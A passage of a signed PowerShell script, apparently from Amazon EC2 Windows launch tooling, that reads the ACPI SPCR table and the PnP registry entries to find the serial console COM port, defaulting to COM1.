[void]($LocationInfo -match ""\d{1,},\d{1,},\d{1,}"")
$busId,$deviceID,$functionID = $matches[0] -split "",""
$result.busId = $busId
$result.deviceID = $deviceID
$result.functionID = $functionID
return $result
}
#
# This function takes all of the information from ACPI SPCR
# and returns the matching MF device.
#
function FindMatchingPCISerialDevice
{
param([string]$VendId,
[string]$DeviceId,
[string]$PCIBusId,
[string]$PCIDeviceId,
[string]$PCIFunctionId)
try
{
#PCI info needs to be converted to base 10 for downstream compare
$PCIBusId = [Convert]::ToInt64($PCIBusId,16)
$PCIDeviceId = [Convert]::ToInt64($PCIDeviceId,16)
$PCIFunctionId = [Convert]::ToInt64($PCIFunctionId,16)
$DeviceIdSubstring = ""VEN_"" + $VendId + ""&"" + ""DEV_"" + $DeviceId
[string]$MFDeviceIdSubstring = ''
$MatchingMFDevice = $null
$locationInfo = $null
Get-WmiObject -Query 'Select * from Win32_PnPEntity' | Where-Object { $_.deviceID -match $DeviceIdSubstring } |
ForEach-Object -Process {
if ($_.deviceID.StartsWith(""PCI""))
{
$DevId = $_.deviceID
$locationInfo = (Get-ItemProperty -Path ""HKLM:\SYSTEM\CurrentControlSet\Enum\$DevId"" `
-Name LocationInformation).LocationInformation
if ($locationInfo -eq $null)
{
continue
}
# Retrieve BDF values
$DeviceBDF = FindBDF $locationInfo
if (($DeviceBDF.busId -eq $PCIBusId) -and ($DeviceBDF.deviceID -eq $PCIDeviceId) -and ($DeviceBDF.functionID -eq $PCIFunctionId))
{
# Matching device found which matches all the parameters from SPCR
# Retrieve the substring after the prefix PCI/ and exclude the child portion
# This is then used to search under the MF device tree
$MFDeviceIdSubstring = $DevId.Split(""\"")[1]
}
}
}
if ($MFDeviceIdSubstring -eq '')
{
return $MatchingMFDevice
}
else
{
Get-WmiObject -Query 'Select * from Win32_PnPEntity' | Where-Object { $_.deviceID -match $MFDeviceIdSubstring } |
ForEach-Object -Process {
# Device must be belong to the MF tree
if ($_.deviceID.StartsWith(""MF""))
{
$MatchingMFDevice = $_
}
}
}
}
catch
{
Write-ErrorLog ""Unexpected Error during MF device lookup.""
return $MatchingMFDevice
}
return $MatchingMFDevice
}
# This function reads the SPCR table and then uses that
# information to return the mapped COM port.
#
function Get-ConsolePort ()
{
# Default COM port is COM1
$DefaultTargetPortName = ""COM1""
if ([Environment]::OSVersion.Version.Major -lt 6)
{
# Do not run this code on Major versions less than 6
return $DefaultTargetPortName
}
try
{
$SPCRReaderExeDir = ""$env:ProgramData\Amazon\EC2-Windows\Launch\Scripts""
if (Test-Path -Path $SPCRReaderExeDir)
{
$SPCRReaderExePath = Join-Path $SPCRReaderExeDir ""AWSAcpiSpcrReader.exe""
$SPCROutput = cmd /c $SPCRReaderExePath
# Parse the SPCR output and extract key fields such as Vendor ID, Device ID, BDF.
$Dictionary = @{}
if ($SPCROutput -match 'SPCR table signature')
{
foreach ($line in $SPCROutput)
{
$key,$value = $line.Trim().Split(':')
$Dictionary[$key.Trim()] = $value.Trim()
}
if (!($Dictionary.ContainsKey(""VendorId"") -and $Dictionary.ContainsKey(""DeviceID"")))
{
Write-Log ""Missing Vendor ID or device ID""
return $DefaultTargetPortName
}
if (!($Dictionary.ContainsKey(""Bus"") -and $Dictionary.ContainsKey(""Device"") -and $Dictionary.ContainsKey(""Function"")))
{
Write-Log ""Missing Bus or Device of Function""
return $DefaultTargetPortName
}
# Check if a matching MF device does exit
$Device = FindMatchingPCISerialDevice $Dictionary[""VendorID""] $Dictionary[""DeviceID""] $Dictionary[""Bus""] $Dictionary[""Device""] $Dictionary[""Function""]
if ($Device -eq $null)
{
Write-Log ""No Matching UART device found""
return $DefaultTargetPortName
}
else
{
$PortKey = ""HKLM:\SYSTEM\CurrentControlSet\Enum\"" + $Device.deviceID + ""\Device Parameters""
$Port = Get-ItemProperty -Path $PortKey -Name PortName -ErrorAction SilentlyContinue
if (($Port -eq $null) -or ($Port.Length -eq 0) -or ($Port.PortName.Length -eq 0))
{
Write-Log ""COM PortName is not valid""
return $DefaultTargetPortName
}
else
{
# Found a matching COM port in the ENUM registry hive.
Write-Log ""Matching UART device found""
$TargetPortName = $Port.PortName
return $TargetPortName
}
}
}
else
{
Write-Log ""ACPI SPCR table not found. Bailing Out""
return $DefaultTargetPortName
}
}
else
{
Write-Log 'SPCR reader Exe is not present. Exiting'
return $DefaultTargetPortName
}
}
catch
{
Write-ErrorLog ""Unexpected Error. Return the default Port COM1""
return $DefaultTargetPortName
}
return $DefaultTargetPortName
}
# SIG # Begin signature block
# MIIfJgYJKoZIhvcNAQcCoIIfFzCCHxMCAQExDzANBglghkgBZQMEAgEFADB5Bgor
# BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG
# KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCDAG9uW3/eFRmFa
# EO3rB6vSSKBF9Q93vE07HWSnhrQi/6CCDlUwggawMIIEmKADAgECAhAIrUCyYNKc
# TJ9ezam9k67ZMA0GCSqGSIb3DQEBDAUAMGIxCzAJBgNVBAYTAlVTMRUwEwYDVQQK
# EwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xITAfBgNV
# BAMTGERpZ2lDZXJ0IFRydXN0ZWQgUm9vdCBHNDAeFw0yMTA0MjkwMDAwMDBaFw0z
# NjA0MjgyMzU5NTlaMGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg
# SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg
# UlNBNDA5NiBTSEEzODQgMjAyMSBDQTEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAw
# ggIKAoICAQDVtC9C0CiteLdd1TlZG7GIQvUzjOs9gZdwxbvEhSYwn6SOaNhc9es0
# JAfhS0/TeEP0F9ce2vnS1WcaUk8OoVf8iJnBkcyBAz5NcCRks43iCH00fUyAVxJr
# Q5qZ8sU7H/Lvy0daE6ZMswEgJfMQ04uy+wjwiuCdCcBlp/qYgEk1hz1RGeiQIXhF
# LqGfLOEYwhrMxe6TSXBCMo/7xuoc82VokaJNTIIRSFJo3hC9FFdd6BgTZcV/sk+F
# LEikVoQ11vkunKoAFdE3/hoGlMJ8yOobMubKwvSnowMOdKWvObarYBLj6Na59zHh
# 3K3kGKDYwSNHR7OhD26jq22YBoMbt2pnLdK9RBqSEIGPsDsJ18ebMlrC/2pgVItJ
# wZPt4bRc4G/rJvmM1bL5OBDm6s6R9b7T+2+TYTRcvJNFKIM2KmYoX7BzzosmJQay
# g9Rc9hUZTO1i4F4z8ujo7AqnsAMrkbI2eb73rQgedaZlzLvjSFDzd5Ea/ttQokbI
# YViY9XwCFjyDKK05huzUtw1T0PhH5nUwjewwk3YUpltLXXRhTT8SkXbev1jLchAp
# QfDVxW0mdmgRQRNYmtwmKwH0iU1Z23jPgUo+QEdfyYFQc4UQIyFZYIpkVMHMIRro
# OBl8ZhzNeDhFMJlP/2NPTLuqDQhTQXxYPUez+rbsjDIJAsxsPAxWEQIDAQABo4IB
# WTCCAVUwEgYDVR0TAQH/BAgwBgEB/wIBADAdBgNVHQ4EFgQUaDfg67Y7+F8Rhvv+
# YXsIiGX0TkIwHwYDVR0jBBgwFoAU7NfjgtJxXWRM3y5nP+e6mK4cD08wDgYDVR0